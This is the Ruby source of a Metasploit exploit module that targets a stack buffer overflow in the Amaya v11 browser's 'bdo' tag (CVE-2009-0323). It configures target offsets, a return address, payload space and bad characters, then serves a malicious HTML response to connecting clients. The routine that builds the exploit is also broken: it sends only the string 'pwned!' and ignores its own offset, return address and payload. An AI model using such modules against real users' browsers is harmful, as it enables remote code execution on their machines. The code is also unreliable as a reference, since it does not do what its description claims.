## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => "Amaya Browser v11.0 'bdo' Tag Overflow", 'Description' => %q{ This module exploits a stack buffer overflow in the Amaya v11 Browser. By sending an overly long string to the "bdo" tag, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'dookie, original exploit by Rob Carter' ], 'References' => [ [ 'CVE', '2009-0323' ], [ 'OSVDB', '55721' ], [ 'BID', '33046' ], [ 'BID', '33047' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 970, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Amaya Browser v11', { 'Offset' => 6889, 'Ret' => 0x02101034 } ], # wxmsw28u_core_vc_custom.dll ], 'DisclosureDate' => '2009-01-28', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Set the exploit buffer sploit = "pwned!" print_status("Sending #{self.name}") # Transmit the response to the client send_response_html(cli, sploit) # Handle the payload handler(cli) end end